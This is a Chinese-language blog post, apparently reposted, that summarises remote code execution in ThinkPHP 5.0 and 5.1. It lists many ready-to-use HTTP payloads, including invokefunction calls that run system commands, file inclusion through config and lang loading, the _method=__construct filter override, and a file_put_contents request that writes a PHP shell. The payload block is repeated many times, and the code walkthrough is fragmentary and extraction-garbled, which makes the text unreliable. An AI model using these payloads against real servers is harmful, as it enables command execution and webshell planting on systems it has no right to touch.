Thinkphp5RCE总结
5最出名的就是,我先总结rce,rce有两个⼤版本的分别
1. ThinkPHP 5.0-5.0.24
2. ThinkPHP 5.1.0-5.1.30
因为漏洞触发点和版本的不同,导致payload分为多种,其中⼀些payload需要取决于debug选项
⽐如直接访问路由触发的
5.1.x :
s=index/thinkRequest/input&filter[]=system&data=pwd
s=index/thinkviewdriverPhp/display&content=<php phpinfo();>
s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<php phpinfo();>
s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
s=index/thinkconfig/get&name=database.username # 获取配置信息
s=index/thinkLang/load&file=../../test.jpg # 包含任意⽂件
s=index/thinkConfig/load&file=../../t.php # 包含任意.php⽂件
s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
还有⼀种
php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
可以看到payload分为两种类型,⼀种是因为Request类的method和__construct⽅法造成的,另⼀种是因为Request类在兼容模式下获取的控制器没有进⾏合法校验,我们下⾯分两种来讲,然后会将thinkphp5的每个⼩版本都测试下下可⽤的payload。
php5.4.45+phpstudy+thinkphp5.0.5+phpstorm+xdebug
composer create-project topthink/think=5.0.5 thinkphp5.0.5 --prefer-dist
我这边创建完项⽬之后拿到的版本不是5.0.5的,如果你的也不是就把compsoer.json⾥的require字段改为
然后运⾏compsoer update
thinkphp/library/think/Request.php:504Request类的method⽅法
可以通过POST数组传⼊__method改变$this->{$this->method}($_POST);达到任意调⽤此类中的⽅法。然后我们再来看这个类中的__contruct⽅法
if(is_null($this->filter)){
$this->filter= Config::get('default_filter');
}
// 保存 php://input
}
重点是在foreach中,可以覆盖类属性,那么我们可以通过覆盖Request类的属性
这样filter就被赋值为system()了,在哪调⽤的呢?我们要追踪下thinkphp的运⾏流程
thinkphp是单程序⼊⼝,⼊⼝在public/index.php,在index.php中
require __DIR__ . '/../thinkphp/start.php';
引⼊框架的start.php,跟进之后调⽤了App类的静态run()⽅法
看下run()⽅法的定义
...省略...
// 获取应⽤调度信息
$dispatch= self::$dispatch;
...省略...
switch($dispatch['type']){
case'redirect':
// 执⾏重定向跳转
$data= Response::create($dispatch['url'],'redirect')->code($dispatch['status']);
break;
case'module':
// 执⾏回调⽅法
break;
case'function':
/
phpjson格式化输出/ 执⾏闭包
$data= self::invokeFunction($dispatch['function']);
}
⾸先是经过$dispatch = self::routeCheck($request, $config)检查调⽤的路由,然后会根据debug开关来选择是否执⾏Request::instance()-
>param(),然后是⼀个switch语句,当$dispatch等于controller或者method时会执⾏Request::instance()->param(),只要是存在的路由就可以进⼊这两个case分⽀。
⽽在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个⽅法就能使$dispatch=method从⽽进
⼊Request::instance()->param()。
我们继续跟进Request::instance()->param()
执⾏合并参数判断请求类型之后return了⼀个input()⽅法,跟进
将被__contruct覆盖掉的filter字段回调进filterValue(),这个⽅法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input ⽅法均调⽤了 filterValue ⽅法,⽽该⽅法中就存在可利⽤
的 call_user_func 函数。跟进
call_user_func调⽤system造成rce。
梳理⼀下:$this->method可控导致可以调⽤__contruct()覆盖Request类的filter字段,然后App::run()执⾏判断debug来决定是否执
⾏$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时也会执⾏$request->param(),⽽$request->param()会进⼊
到input()⽅法,在这个⽅法中将被覆盖的filter回调call_user_func(),造成rce。
最后借⽤七⽉⽕师傅的⼀张流程图
⼀个⼀个版本测试,测试选项有命令执⾏、写shell、debug选项
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
写shell
POST
s=file_put_contents('Y4er.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug ⽆关
命令执⾏
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论